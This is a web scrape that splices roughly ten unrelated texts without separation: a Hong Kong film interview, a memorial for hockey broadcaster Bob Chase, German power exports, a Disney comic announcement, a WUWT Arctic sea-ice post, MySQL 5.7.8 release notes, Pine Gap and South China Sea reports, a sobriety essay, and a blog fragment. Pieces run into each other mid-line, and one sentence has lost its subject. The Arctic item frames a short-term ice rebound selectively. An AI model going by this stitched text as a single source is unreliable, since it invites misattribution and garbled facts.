Ten Years was a rare local Cantonese film made for a local Hong Kong audience — why aren’t there more films like that?
There are more and more Hong Kong-China co-productions due to the Closer Economic Partnership Arrangement (CEPA) policy. It seems like a benefit to the Hong Kong film industry as there’s investment, and we can make films for a larger audience, the big China market. But this kind of system induces behavior to make “Chinese” productions and so local film is declining and suffering. I think it all stems from that CEPA policy.
Despite glowing local reviews, the Chinese press savaged Ten Years, and the government banned the live telecast of the 35th Hong Kong Film Awards since the film was up for best film. What are your thoughts on the Chinese response to the film?
I haven’t really considered that as that’s politics. We had four script writers work on Ten Years and one of them was from Mainland China. She gave us so many ideas as she had experienced a lot of the issues in the film but [in] her province in China. She comes from Wuhan where they have their own dialect and the government has forced them to speak Mandarin, marginalizing their language.
Speaking of language, that’s the topic of your segment in Ten Years, called Dialect. Could you explain the inspiration behind it and what you were trying to achieve?
For Ten Years the other four directors working on it looked at it in a way of "what will happen in 10 years," whereas I looked back at the last 10 years in Hong Kong and what has changed and touched me specifically. So for me, language, both written and spoken, has changed hugely. Mandarin and simplified Chinese text have become more important in Hong Kong. I’m a scriptwriter, that is my job. At the beginning, I wrote in Cantonese but as there’s more and more Hong Kong-China co-productions, we have to write in Mandarin and that’s not my mother tongue. It may seem similar but it is totally different, and I don’t have the same confidence to articulate my feelings or ideas, and that was a big impact on me as it’s my career.
Also, education is changing rapidly. As kids we used to learn Cantonese, then Mandarin, and now it's Mandarin a lot earlier. I have a friend whose kid is in primary school and he can’t speak to his son, as the mother won’t allow the boy to speak Cantonese as learning Mandarin is so important. That’s what I’m afraid of: How will we talk to the next generation?Bob Chase’s body lay in repose at the center of the ice surface at Memorial Coliseum – an honor never before bestowed – and an orange memorial light illuminated the "Radio Rinkside" booth nine stories above, from which Chase called so many Komets hockey games.
As thousands of people filed through the Coliseum to pay their respects to maybe the most recognizable man in Fort Wayne, who had one of the world’s most famous voices, it was amazing to think that this man, born Robert Donald Wallenstein 90 years ago, could so ably describe the goings on from so far away.
"It’s the ability to string together the words that very few people have," said Chase’s son, Kurt. "He was able to have the words that we all use and string them together to paint the wonderful pictures in your mind of what’s going on at the ice. It’s amazing, and there are so few guys who do it right."
For 63 consecutive seasons, Chase’s voice carried, via 50,000-watt WOWO radio, to listeners around the world. Because the WOWO signal was so powerful, reaching places where no other hockey broadcast was available, Chase was a pioneer and an ambassador for his profession before his death Thursday.
It was evident throughout the over 1,000 games I sat beside him; fans who had never before seen a hockey game would ask me to introduce them to Chase, a voice they’d happened upon, and stayed glued to, after fiddling through their AM radio dials. And it was evident Tuesday during the six hours in which family, friends, co-workers, players, coaches and admirers paid their respects.
Chase’s casket was surrounded by things extremely important to him – pictures of his wife, Murph, their eight grandchildren and nine great-grandchildren; a pin with the Komets’ famed fireball logo; a vintage WOWO microphone; an American flag; a photo of the camper in which he and Murph traveled the country.
Farther away were monuments less important to Chase but things that help people outside Fort Wayne better understand his significance, such as the Lester Patrick Trophy for contributions to hockey in the U.S.; a plaque for his inductions into the Northern Michigan University Hall of Fame; and the Key to the Fort given to him by Mayor Tom Henry.
Mike Emrick, the voice of hockey in America through his NBC broadcasts, was among the first to weave his way through the memorial. Current Komets players, donning black jerseys and ties, were followed by people such as legendary player Len Thornson and longtime International Hockey League Commissioner Tom Berry. Komets President Michael Franke had a letter from NHL Commissioner Gary Bettman in his jacket pocket.
While Chase is known primarily for his hockey broadcasts, which were verified as having reached Europe, he did so much more.
He was a naval cryptographer in World War II, before he came to Fort Wayne and took Murph’s maiden name for his radio moniker. He interviewed celebrities such as the Beatles and Elvis Presley and Frank Sinatra, called football and basketball games including the Milan game on which the movie "Hoosiers" is based, and he worked tirelessly to help raise money for charity.
"He was always willing to help anybody who wanted to go into broadcasting or, actually, anybody who wanted to do anything. If he could help you, advise you in any way, he would do that," Kurt said.
That’s what brought Terry Ficorelli, the broadcaster for rival teams in Muskegon, Kalamazoo, Evansville and Indianapolis, to the Coliseum.
"He was always smiling. He was always happy to see you, and I think he really led a happy life. He just really enjoyed what he did. He loved Fort Wayne, he loved the fans and he loved his family. But most of all, he loved the Komets and it showed with everything he did. He was the genuine article, which you don’t always see coming down the pike anymore," said Ficorelli, adding Chase gladly "showed him the ropes" when he still in college and calling Kalamazoo games.
Ficorelli so loved seeing and hearing Chase do his work that, when his own team’s season was over, he would drive in for Komets playoff games and get invited on the radio by Bob during intermission.
"What I always remember about those intermission opportunities with Bob is that all we would do is laugh," Ficorelli said. "We told funny stories until basically we ran out of time."
In August, while hospitalized with the congestive heart failure that would ultimately take his life, Chase took the time to call Ficorelli and congratulate him on getting a new job. That was typical Chase; no matter what was going on, he’d make everyone feel like they were important, like they had a story to tell and he wanted to find out that story.
For about 4,500 Komets games, Chase told the stories of what went on at ice level. The games will go on, but they will never sound the same.
[email protected] exported the equivalent of the output of two large power stations - 12.3 terawatt hours - during the first three quarters of the year, according to a preliminary report from the German Association of Energy and Water Industries (BDEW), seen by the business weekly Manager Magazin.
By comparison, Germany had to import more than it exported over the first three quarters of last year, when the balance was -0.2 terawatt hours. But that was the exception during recent years - since 2006, Germany has consistently exported well over five terawatt hours more than it has imported.
Experts say the surplus is thanks to the massive development of renewable energies in Germany. Huge quantities of wind and solar energy have reduced prices. "The low prices mean that more energy is being exported from Germany to the neighbouring countries," Bloomberg market analyst Brian Potskowski told the magazine.
The situation is particularly dramatic in the Netherlands, where energy providers are reportedly shutting down gas power stations to buy cheap German electricity.
German energy giant RWE confirmed that this was true. "We are seeing an increasingly closer interconnection among the European markets," a spokesman told Manager Magazin.
This now includes France, the Netherlands, Belgium, and Germany. "The power stations of participating countries compete with each other, and electricity is produced in the stations that make the cheapest offer," the spokesman said.
Thanks to the boom in renewables, Germany's wind and solar power parks are currently making the best offers. But coal power stations are also producing cheaper energy. Gas power stations, meanwhile, are relatively expensive.
The BDEW said the export surplus was also due to German regulations. "German power station operators must keep sufficient capacities for safety reasons," a spokesman for the association said. Power plants that have to guarantee supply during periods of high consumption also have to produce energy when demand is low, making surpluses often available for export.
But the export surplus does not necessarily mean there won't be shortages in the winter - on particularly cloudy, windless days, Germany could still be dependent on energy reserves from Austria.
The Local/bkSpace Mountain is Disney Comics’ first original graphic novel.
It uses some of the attractions found in the the Disney Theme Parks, most notably Space Mountain, which can be found in the Discoveryland and Tomorrowland sections of the Parks throughout the world (hence the one-time working title of “Tomorrowland” which lead to an early Bleeding Cool report).
Work has just begun on the project, which is the first in a trilogy, with Book I going on sale in May of 2014.
The comic will be written by Bryan Q. Miller, drawn by Kelley Jones, coloured by Hi-Fi Design, and lettered by Rob Leigh.
And how will the comic work?
The year is 2125 and the Magellan Science Academy has given two lucky cadets “golden tickets” to join a team of space explorers on a special time travel mission 24 hours into the future. But when their mission goes unexpectedly wrong, the two kids must band together with a tiny flying saucer sidekick to save themselves and their crew—and all of Space Mountain—before time runs out and the galaxy is destroyed!
Expect to find out more at New York Comic Con.
Here’s the first inked page from Jones, as well as some behind-the-scenes inked studies of Space Mountain (the Walt Disney World and Disneyland Paris versions, both of which will appear in the book), as well as some art of the Moonliner rocket, based on the TWA Moonliner rocket once featured in Walt Disney World.
Apologies to David Gallaher and Bryan Q Miller for somehoe mixing them up in the original headline.
About Rich Johnston Chief writer and founder of Bleeding Cool. Father of two. Comic book clairvoyant. Political cartoonist.
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None foundThe headline is a quote by Dr. Judith Curry from a David Rose article in the Sunday Mail: Stunning satellite images show summer ice cap is thicker and covers 1.7million square kilometres MORE than 2 years ago…despite Al Gore’s prediction it would be ICE-FREE by now.
The speech by former US Vice-President Al Gore was apocalyptic. ‘The North Polar ice cap is falling off a cliff,’ he said. ‘It could be completely gone in summer in as little as seven years. Seven years from now.’
Those comments came in 2007 as Mr Gore accepted the Nobel Peace Prize for his campaigning on climate change.
But seven years after his warning, The Mail on Sunday can reveal that, far from vanishing, the Arctic ice cap has expanded for the second year in succession – with a surge, depending on how you measure it, of between 43 and 63 per cent since 2012.
To put it another way, an area the size of Alaska, America’s biggest state, was open water two years ago, but is again now covered by ice.
The most widely used measurements of Arctic ice extent are the daily satellite readings issued by the US National Snow and Ice Data Center, which is co-funded by Nasa. These reveal that – while the long-term trend still shows a decline – last Monday, August 25, the area of the Arctic Ocean with at least 15 per cent ice cover was 5.62 million square kilometres.
This was the highest level recorded on that date since 2006 (see graph, right), and represents an increase of 1.71 million square kilometres over the past two years – an impressive 43 per cent.
Other figures from the Danish Meteorological Institute suggest that the growth has been even more dramatic. Using a different measure, the area with at least 30 per cent ice cover, these reveal a 63 per cent rise – from 2.7 million to 4.4 million square kilometres.
The satellite images published here are taken from a further authoritative source, the University of Illinois’s Cryosphere project.
They show that as well as becoming more extensive, the ice has grown more concentrated, with the purple areas – denoting regions where the ice pack is most dense – increasing markedly.
Crucially, the ice is also thicker, and therefore more resilient to future melting. Professor Andrew Shepherd, of Leeds University, an expert in climate satellite monitoring, said yesterday: ‘It is clear from the measurements we have collected that the Arctic sea ice has experienced a significant recovery in thickness over the past year.
Indeed, and the way things are going, it looks like WUWT (and Wang) will be closer to the final September Average for Sea Ice than any of the other forecast players in the ARCUS Sea Ice prediction Network:
Click to magnify the image
Figure 1: Distribution of individual Pan-Arctic Outlook values (August Report) for September 2014 sea ice extent. Labels on the bar graph are rounded to the tenths for readability. Refer to the Individual Outlooks at the bottom of this report for the full details of individual submissions.
NSIDC shows sea ice within the +/- 2 standard deviations range, far above the year 2012:
The WUWT Sea Ice Page has complete details and all sorts of plots and images.The MySQL Development team is very happy to announce that MySQL 5.7.8, the second 5.7 Release Candidate (RC2), is now available for download at dev.mysql.com (use the “Development Releases” tab).
We have fixed over 500 bugs in 5.7.8. This is on top of what we delivered in 5.7.7 and on top of bug fixes up-merged from 5.6. We have also added JSON support, which we previewed in a Labs release back in April. You can find the full list of changes and bug fixes in the 5.7.8 release notes. Here are some highlights. Enjoy!
Adding JSON Support to MySQL
With the newly added JSON support in MySQL, you can now combine the flexibility of NoSQL with the strength of a relational database.
JSON datatype and binary storage format (WL#8132) — This work by Knut Anders Hatlen develops a binary format that allows the server to efficiently store, retrieve and search JSON data. This work enhances CREATE TABLE and ALTER TABLE so that they can create JSON columns, and it extends the Field class to allow INSERT to and SELECT from JSON typed fields.
Server side JSON functions (WL#7909) — This work by Richard Hillegas and Dag Wanvik introduces a set of a built-in JSON functions. This work lets users construct JSON data values from other relational data, extract relational data from JSON data values, introspect the structure of JSON values and text (validity, length, depth, keys), search within, and manipulate JSON data.
JSON comparator (WL#8249) — This work by Knut Anders Hatlen introduces the JSON comparator, similar to the DATE/TIME/DATETIME comparator, which allow comparisons of JSON scalars vs SQL constants, and JSON scalars vs JSON scalars. The comparator relies on the DOM support added in the scope of WL#7909. The comparator converts the SQL constant to a JSON scalar and then compares the values.
Ordering of scalar JSON values (WL#8539) — This work by Knut Anders Hatlen implements a function that produces the sorting keys that the internal filesort function needs in order to properly sort JSON values. When ordering scalar JSON values with ORDER BY, they will be returned in the order defined by the JSON comparator in WL#8249.
Expression analyzer for generated columns (WL#8170) — This work by Evgeny Potempkin allows our range and ref optimizers to find opportunities to use any indexes defined over generated columns. One intended use case for this feature is to allow the creation and automatic use of indexes on JSON Documents.
Virtual Columns
B-tree Index Support on non-materialized virtual columns (WL#8149, WL#8114) — This work by Jimmy Yang supports the creation of secondary indexes on non-materialized virtual columns, as well as the usage of these indexes for fast computed-value retrieval and searches. The non-materialized virtual column support is described in WL#8114 and WL#411. These were designed in such way that they are not present in actual InnoDB index records, but their metadata is registered with InnoDB system tables and metadata caches. Virtual columns provide flexibility and space savings for the table, and more importantly, adding/dropping such columns does not require a table rebuild. These behaviors make it a much better choice for storing and processing non-relational data such as JSON. However, since the columns themselves are not materialized, a scan and search could be slower than on regular (materialized) columns. With this worklog, the virtual column value is materialized in the secondary index, thus making it much easier for value searches and processing. Thus this work greatly increases the practical value of virtual columns. With this work, creating an index on virtual generated columns also becomes an ONLINE operation.
Support SEs to create index on virtual generated columns (WL#8227) — This work by Benny Wang implements server layer support for WL#8149, for example storing information about generated columns in the internal Field::gcol_info data structure.
Callback for computation of virtual column index values from InnoDB purge threads (WL#8481) — This work by Jon Olav Hauglid provides a server layer function that can be called by InnoDB purge threads. Background: InnoDB needs to be able to compute virtual column index values in order to implement WL#8149 (B-tree Index Support on non-materialized virtual columns). Generally this is done from connection threads (see WL#8227). However, it also needs to happen from InnoDB purge threads, and these threads do not correspond to connections/sessions and thus don’t have THD s or access to TABLE objects. This work provides the necessary server layer callback which enables the purge threads to make the necessary computations. There are no user-observable changes by this worklog, it is only relevant in conjunction with WL#8149 and WL#8227.
Page Compression
InnoDB: Transparent page compression (WL#7696) — This work by Sunny Bains implements compression at the InnoDB layer. The feature works on any OS/file system combination that supports sparse files and has “punch hole” support (e.g. the FALLOC_FL_PUNCH_HOLE flag to fallocate ). The high level idea is rather simple—given a 16K page we compress it using your favorite compression algorithm and write out only the compressed data. After writing out the data we “punch a hole” to release the unused part of the original 16K block back to the file system.
User Management
Increase the length of a user name (WL#2284) — This work by Robert Golebiowski increases the maximum length of MySQL user names from 16 to 32 characters.
Support IF [NOT] EXISTS clause in CREATE/DROP USER (WL#8540) — This work by Todd Farmer implements the IF [NOT] EXISTS clause in CREATE USER and DROP USER statements. This will allow for distribution of accounts using replication without triggering replication failures in the event of (intentionally) non-synchronized accounts within the replication group. It also simplifies user scripting of account management operations. See also: the feature request in Bug#15287.
Add server-side option to require secure transport (WL#7709) — This work by Todd Farmer adds the --require_secure_transport server option, which causes the MySQL Server to refuse any TCP/IP connection not using SSL. Before this work, the MySQL Server had only provided a mechanism to require SSL for individual user accounts using the REQUIRE SSL clause in various account management statements.
Control Storage Engine Usage
Provide an option to reject creation of user tables for a list of storage engines (WL#8594) — This work by Thayumanavar Sachithanantha provides a command-line option called --disabled-storage-engines which provides the means for a DBA to supply a list of storage engines to be disallowed, thus preventing users from using any particular storage engine (by mistake). This is done to support the use case where the customer has a policy to prevent the usage of, for example, MyISAM within their environment.
Super Read Only
Super-read-only that also blocks SUPER users (WL#6799) — This work by Todd Farmer introduces a new option, --super_read_only, which supplements the --read_only option. When --super_read_only is set to ON (which also automatically sets --read_only to ON) then the server also becomes READ-ONLY for admin users with the SUPER privilege.
New Data Export Utility
mysqlpump: Extend mysqldump functionalities (WL#7755) — This work by Marcin Babij and Bharathy Satish implements a new MySQL Server utility inspired by — but not 100% compatible with — mysqldump. The main feature of this new tool is the ability to parallelize backup and restore operations. (The existing mysqldump will continue to be supported.)
Cost Model
IO aware cost estimate function for data access (WL#7340) — This work by Olav Sandstå extends the optimizer cost model to use the estimates from the storage engines about approximately how much of a table’s rows and indexes are present in memory. The optimizer will then use different cost constants for calculating the cost of accessing data that is in memory and data that needs to be read from disk. In the initial implementation, these two cost constants have the same default value but can be changed by the server administrator to make the optimizer use different costs for data in a memory buffer versus data needed to be read from disk. Note that currently, the estimates about whether data is in memory or needs to be read from disk is just based on heuristics. The accuracy of these estimates will be greatly improved when support for these estimates are implemented by the individual storage engines.
Optimizer Hints
Hints for subquery strategies (WL#8244) — This work by Øystein Grøvlen adds hints for controlling subquery execution strategies. This includes whether or not to use semi-join, which semi-join strategy to use, and, in case semi-join is not used, whether to use subquery materialization or the in-to-exists transformation. This work uses the new syntax and infrastructure for hints provided by WL#8016 and WL#8017. Note that this work makes it possible to prevent any specific semi-join strategy, including the Duplicate Weed-out strategy which cannot be turned off using --optimizer_switch.
Observability / Monitoring
Instrumentation of connection type (WL#7729) — This work by Todd Farmer exposes information about connection types via standard interfaces—the PERFORMANCE_SCHEMA.THREADS table, the Audit log API, the Audit log file, and the General Query Log. Until now MySQL has not provided DBA visibility into the types of connections being established and used; e.g. to distinguish SSL connections from unencrypted TCP/IP connections, or socket, shared memory or named pipe connections.
InnoDB: Implement Information_Schema.Files (WL#7943) — This work by Kevin Lewis provides data for the INFORMATION_SCHEMA.FILES table, for all of the InnoDB datafiles that are in its internal cache. The INFORMATION_SCHEMA.FILES table contains fields to describe a tablespace file, including some statistical details. See also Bug#76182 reported by Marco Tusa.
PERFORMANCE SCHEMA, HISTORY PER THREAD (WL#7795) — This work by Marc Alff enables turning the history ON or OFF on a per thread basis. Until now, global consumer flags have been used to control whether or not to log history events. These flags are global to the server, so that the collection of historical data for different threads was all or nothing. With this feature, the DBA can now specify which sessions, accounts, users, and hosts for which they wish to collect historical data, separatly from turning the instrumentation ON or OFF. This allows the DBA to control more precisely what events are logged in the history tables, thus decreasing the runtime overhead when historical data is needed only for a subset of the instrumented sessions, as well as reducing unwanted noise in the Performance Schema tables— events_waits_history_long, events_stages_history_long, events_statements_history_long, events_transactions_history_long —which facilitate troubleshooting on busy servers (that also generate a lot of events).
Fabric Support
Detect transaction boundaries (WL#6631) — This work by Tatjana Nurnberg adds a server flag to detect that a new transaction has started. A new system variable called @@session_track_transaction_state has been introduced. In a load-balanced setup, it is necessary to know when a statement resulted in the start of a new transaction, which would then allow connectors to switch to using a different connection from the connection pool. The critical case to detect is when the transaction is “fresh” and does not have any reads or writes attached to it yet. This is the only case where a connector can switch to using a different connection. If a statement starts a new transaction and starts adding reads or writes to it, it is not possible to move the connection since it would imply a necessary ROLLBACK.
Server version token and check (WL#6940) — This work by Vamsikrishna Bhagi introduces a general synchronization mechanism based on DBA/Application defined tokens. A user with the SUPER privilege can set global tokens in a server (for example some ID) and clients can set session tokens. Before executing a query the session token is compared with the global token and an error generated when there is a discrepancy between the two.
Locking service for read/write named locks (WL#8161) — This work by Jon Olav Hauglid provides a locking service to protect global and session version token lists needed by WL#6940.
Refactoring
Refactoring of the protocol class (WL#7126) — This work by Catalin Besleaga makes an initial step towards decoupling the client-server protocol from SQL processing.
Remove fastmutex from the server sources (WL#4601) — This work by Jon Olav Hauglid removes a home grown spin-lock mutex implementation— called “fast mutex”—from the server sources because of its many shortcomings.
Test Infrastructure
Plugin(s) to test services of server (WL#8462) — This work by Horst Hunger introduces a framework for writing test plugins, for the purpose of testing new service APIs.
Changes to Defaults
Turn STRICT_MODE submodes ON by Default (WL#8596) — This work by Abhishek Ranjan reverts changes done by WL#7467, bringing back the individual NO_ZERO_DATE, NO_ZERO_IN_DATE, ERROR_FOR_DIVISION_BY_ZERO sql modes. These modes will instead be added to the set of sql modes which are enabled by default. WL#7467 merged those sql modes into STRICT mode. This added more checks to STRICT mode, causing some statements which used to pass in 5.6 with a warning in STRICT mode to to fail in 5.7. This in turn caused problems in some upgrade scenarios that could not be easily worked around. See also Bug#75439 reported by Simon Mudd.
Increase table_open_cache_instances compiled default (WL#8397) — This work by Praveenkumar Hulakund increases the --table_open_cache_instances compiled-in default from 1 (old) to 16 (new). This will improve performance on multi-core systems.
Enabled multiple page cleaners and purge threads by default in 5.7 (WL#8316) — This work by Bin Su changes the compiled-in defaults for --innodb_page_cleaners and --innodb_purge_threads from 1 (old) to 4 (new). This will improve performance and stability on multi-core systems.
Deprecation and Removal
Remove sql-bench from the 5.7 server code (WL#8406) — This work by Terje Røsten removes the sql-bench code from the 5.7 server code tree. We decided to remove it because it has not been well maintained for recent versions, and we are no longer using it internally as part of our testing process. See also Morgan Tocker’s blog post here.
Remove use of DATADIR in mysqld_safe for setting MYSQL_HOME in 5.7 (WL#7150) — This work by Yashwant Sahu removes the use of DATADIR in mysqld_safe. A warning about this had existed since MySQL 5.0. From now on, if MYSQL_HOME is not set, then it will be set to BASEDIR.
Bug Fixes
We have received a lot of valuable feedback from the MySQL community throughout the 5.7 DMR cycle. This input is invaluable, and our community members deserve a large THANK YOU! Here are some highlights of the community reported bugs that are now fixed in 5.7.8 RC2:
Bug#75913, Bug#76446, Bug#76346, Bug#76437, Bug#76436, Bug#76432, Bug#76434, Bug#76445, Bug#76424, Bug#76425, Bug#76419, Bug#76416, Bug#76406, Bug#75782, Bug#75736 — All reported by Roel Van de Paar
Bug#74891, Bug#76625, Bug#74833, Bug#74854, Bug#74843, Bug#72806, Bug#72807, Bug#72805 — All reported by Stewart Smith
Bug#73953: left join to view with <> test causing too many results — Reported by David Norman
Bug#77276: force index not working with groupby+orderby — Reported by bombzj bombzj
Bug#76748: the server crash when test st_intersects with st_buffer — Reported by zkong kong
Bug#76401: Can’t distinguish secure_file_priv = NULL and “” — Reported by tsubasa tanaka
Bug#76329: COLLATE option not accepted in generated column definition — Reported by Mario Beck
Bug#76328: Generated columns not printed correctly in SHOW CREATE TABLE — Reported by Mario Beck
Bug#76237: LOAD DATA INFILE ignores a specific row silently under Db Charset is utf8 — Reported by tsubasa tanaka
Bug#76182: The new created tablespace is not reported in the INFORMATION_SCHEMA — Reported by Marco Tusa
Bug#76164: InnoDB FTS with MeCab parser prints empty error message — Reported by tsubasa tanaka
Bug#75995: mysqld –help –verbose tries to lock files — Reported by Daniël van Eeden
Bug#75595: Compute InnoDB redo log block checksums faster — Reported by Laurynas Biveinis
Bug#75829: ST_Centroid produces incorrect results with MultiPolygon — Reported by Bryan Blakey
Bug#75539: max_allowed_packet error destroys original data — Reported by Oli Sennhauser
Bug#75372: incorrect code(or indenting) — Reported by Joshua Rogers
Bug#3083: User length limitation — Reported by Dracul Vlad
Bug#74177: –slave-preserve-commit-order causes slave to deadlock and break for some querie — Reported by Kristian Nielsen
Bug#74253: gtid_next with empty transactions does not work inside stored procedures — Reported by Davi Arnaut
Bug#70860: –tc-heuristic-recover option values are broken — Reported by Laurynas Biveinis
Bug#69425: St_Intersection produces incorrect results — Reported by Ivan Balashov
Bug#69538
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both, it’s not either or, you can have both.
‘You don’t have to be in the closet when you go to the church about your sexuality, or be in the closet in the gay bar about your faith.’Top secret documents leaked by former US intelligence contractor Edward Snowden are likely to reveal new details of Australia's support for deadly US drone strikes.
Meanwhile, human rights lawyers have called for a UN investigation of the killing by drones of two Australian citizens in Yemen last year.
Radar domes of the top-secret joint US-Australian missile defence base at Pine Gap near Alice Spring in central Australia. Credit:STF/AFP/Getty Images
The Melbourne-based Human Rights Law Centre has written to the UN Special Rapporteur on Counter Terrorism, Ben Emmerson, asking him to investigate the lawfulness of the military strike in Yemen that killed Townsville man Christopher Havard and Australia-New Zealand dual national Darryl Jones last November.
The Centre has also sought an investigation of the role of the Joint Defence Facility at Pine Gap near Alice Springs in supporting US drone strikes.In the lead up to the Shangri-La Dialogue in Singapore this year there was a flurry of action – and reaction – centered on the South China Sea.
China has been building artificial islands in the disputed regions of the South China Sea by dredging sand and building on top of submerged reefs. A number of these new islands have become large enough to port large vessels and host runways for heavy aircraft. As the region is subject to competing sovereignty claims amongst Southeast Asian nations including Taiwan, there is deep concern in the region and beyond that China will militarise these new islands and use force to satisfy its own far-reaching claims.
In late May the United States flew a P-8A maritime surveillance aircraft carrying a CNN news crew over the disputed Spratly islands. This was the first time US aircraft or naval vessels had invited public news organisations to accompany surveillance or patrol operations in the South China Sea. CNN was able to capture numerous warnings by the Chinese military that the US aircraft was flying through a “military identification zone” and that it should leave the area. This footage was replayed worldwide. It not only highlighted China’s increased efforts to assert its claims of sovereignty over much of the South China Sea, but also rising displeasure in the United States.
Within days of the US over-flights of the disputed area, China released its 2015 Defence White Paper. The most striking aspect of the paper is its heavy focus on the need to protect China’s maritime interests, and the need to build a navy to operate in the open seas. Even America’s over-flights earned a mention, with reference to nations which conduct surveillance in the South China Sea.
The ramping up of activity and rhetoric preceded what is arguably Asia’s most important security summit. The Shangri-La Dialogue, held in Singapore, is attended by the region’s heads of defence and has emerged as the annual event where regional and global powers are most likely to address the security element of China’s rising power. 2015 did not fail to live up to expectations.
In the hours prior to the commencement of the summit, the United States announced that it had detected the deployment of Chinese missiles on at least one of the contested features of the South China Sea. This announcement, along with the US surveillance flights and the Chinese Defence White Paper, ensured that the agenda of the Shangri-La Dialogue would be dominated by China’s activities in the South China Sea.
In his address to the forum, US Secretary of Defence, Dr Ashton Carter, made strong reference to China’s land reclamation activities. He called for nations to support the rule of law and allow freedom of navigation, for Southeast Asian nations to collectively act to secure its maritime region, and called for a halt to the militarisation of the South China Sea region. Most pointedly, Carter stated that the United States would continue to fly and sail in international waters where international law permitted. This was a direct defiance of China’s claims in the South China Sea and China’s protest of US over-flights, and a clear statement by the United States that it plans to oppose Chinese designs and is willing to lead Southeast Asia in opposition to Chinese regional maritime dominance.
China’s response was to immediately label Carter’s comments as unfounded and irresponsible, and to claim that China’s island building is beneficial for peace and stability. China’s address to the forum was made by Admiral Sun Jianguo, a Deputy Chief in the General Staff Department of the People’s Liberation Army. China has only once sent its Minister for Defence to the Shangri-La dialogue, historically choosing to send relatively lowly ranked personnel such as Sun. This may be designed to relegate legitimacy to the event, or to protect a Chinese Minister from prying questions.
Sun’s comments were formulaic and straight out of the Chinese Communist Party playbook. Sun read prepared responses to questions after he put forward a presentation heavy on clichés with Chinese characteristics. “Win win”, “mutual benefit” and” peaceful development” were present among other commonly used Chinese diplomatic phrasings. But it was the reference to China’s actions in the South China Sea which held the greatest importance.
Sun called China’s island building as “legitimate, justified and reasonable”, claimed that the islands contribute to the public good through support for humanitarian and scientific work, and stated that freedom of navigation had not been affected. While the United States indicated that it would oppose Chinese actions in the South China Sea, China indicted that had no intention of changing its behaviour. Both countries have drawn a line in the sand, for now. The United States is hoping that Southeast Asian nations will take courage from US determination, and act collectively to deny Chinese dominance of the region. China is hoping that the US will flinch in the face of Chinese determination.
For its part, Australia’s Defence Minister, Kevin Andrews, spoke during his presentation of the need to adhere to international law and support freedom of passage. In direct reference to China, Andrews stated that Australia is opposed to large-scale land reclamation, the militarisation of artificial structures, and any actions that unilaterally alter the status quo of the region.
Andrews did not point the finger directly at China, thereby not upsetting Chinese sensitivities for public redress. However Australia’s support of the US position was clear. Since the conclusion of the Shangri-La dialogue, Australian officials including Prime Minster Tony Abbott have reiterated Australia’s stance on the South China Sea and added that Australia will also continue to deploy surveillance missions there. There was no answer to the question about whether Australia would send its vessels within the 12 nautical mile exclusion zone China has placed around its artificial islands, or whether Australia would follow the United States and fly over them. However these actions make clearer Australia’s difficult position in supporting its close relationship with the United States and supporting stability in the region, and retaining friendly relations with China, Australia’s largest trading partner.
The Shangri-La Dialogue did not provide the fireworks that some had suspected between China and the United States. Sparks did fly though with China and the United States increasing tensions as the region saw two great powers shape up over a line in the sand, literally.
Chris Farnham is the AIIA National Office Operations Manager. This article can be republished with attribution under a Creative Commons Licence.A new survey has revealed the alcohol consumption habits of Australians. So what generation drinks the others under the table?
CALEB Hulme-Moir is a 36-year-old PR executive, booze enthusiast and founder of communications consultancy, Mana Communications. He recently took a break from the beers and below shares his experiences about what he has learned from not drinking.
I’m at the height of my sobriety. It’s been six months since I’ve had a drink which is the longest gap between beverages for 21 years. This means I’ve been drinking more years than not, a sobering, excuse the pun, thought.
So what prompted such a crazy notion? At the time I started out, my girlfriend was dealing with a major life trauma and we thought that laying off the booze for a bit would be wise — this more than any other reason provided the impetus to commit.
There were other reasons too. I wasn’t sure that I could actually go six months dry which I found increasingly concerning.
It got me to thinking about how important alcohol was to my social life. I was terrified by the notion of going out with no drink in hand, convinced I would become a social outcast and labelled a bore, or worse, see fellow revellers in a less flattering light through sober eyes.
The more I pondered this, the more my anxieties seemed ridiculous and I became convinced that a break would do me good.
THE RESULT:
And it has done me good, certainly from a health and wellbeing point of view. I’ve dropped eight kilograms without altering anything else in my life which makes me wonder, can I dress this up and market it as some new wonder-diet?
My eating has improved because I don’t need so much grease to soak up the alcohol and when I do indulge in sweet treats, I don’t feel guilty because I’m not guzzling calories by the wine glass.
I typically have high cholesterol and since I stopped drinking it has gone from high, verging on needing medication, to the top end of normal, which is pretty good. Nothing else I’ve tried has had such a big impact.
I have felt noticeably, and smugly, healthy on a daily basis and I’m no longer subject to alcohol-induced anxiety. I need less sleep, sleep more deeply (and quietly) and my mind is sharper. It’s made me realise that my 20s working life in London, a notoriously booze-drenched city, was conducted almost completely hung-over. Maybe this is as it should be.
PEOPLE’S REACTION:
Despite my considerable concern, I’ve not been cast on the social scrapheap. No doubt my social life has been slightly tamer than it could have been but I’m okay with that and I’ve certainly not shied away from going out.
One noticeable, and annoying, aspect of not drinking is that it becomes a major talking point. When you ask for a soft drink and explain the situation, you are greeted with wide-eyed amazement followed quickly by suspicion.
The last thing you want to do as a non-drinker is to have everyone else talk about it with you. It makes you feel a tad selfconscious, and besides, it’s a bit like the person at a party who wants to chew your ear off about their gym routine, it’s just not that interesting.
I wouldn’t want to give the impression it has all been plain sailing. There have been countless occasions where I have been thirsty for a drink, mostly after a busy week. However, the thirst always passes and can often be quenched, here you will scoff, with a cuppa.
THE DOWNSIDE:
What tea, and especially coffee, will never do is give you that instant feeling of relaxation that comes from a glass of red. Sure you can get the same effect from a run but that requires significantly more effort, is less instant and a whole lot less fun.
Along the way there have been a few occasions when it felt like a terrible decision not to drink. To visit that most romantic of cities, Florence, and not indulge in a glass of Chianti seemed mad. The Italians do indulgence better than anyone and it felt puritanical visiting while dry.
Special occasions, such as my brother’s 50th, or catching up with friends where excessive drinking is mandatory, were also anxiety-laden. In each case the reality didn’t live up to the anxiety and I never walked away thinking that it was a mistake not to have a drink.
WHAT NOW:
I’ve enjoyed my stint as a teetotaller so much that at points I’ve considered going dry long term.
While I’m not at this point yet, if I consider my attitude to alcohol now compared to six months ago, a radical shift has taken place.
I have no intention of going back to previous levels of consumption.
How much less I drink is yet to be determined, maybe over a beer with some of my mates who are relieved that life is returning to normal.
* For those interested in changing their relationship with alcohol I suggest checking out Hello Sunday Morning, a community for those who want to take a short break from drinking.
Caleb Hulme-Moir is the founder of Mana Communications.This week a horde of angry, pitchfork-waving readers descended upon the e-mail inbox of both OMG! sites, demanding to know why we weren’t writing about the “shocking evil” Google is waging against the open-source community.
SHOCKING EVIL, PEOPLE.
Firstly, Saturday is my (one) day off every week. It has been for the entire seven and a half years I’ve been doing this site (excusing the odd week here and there).
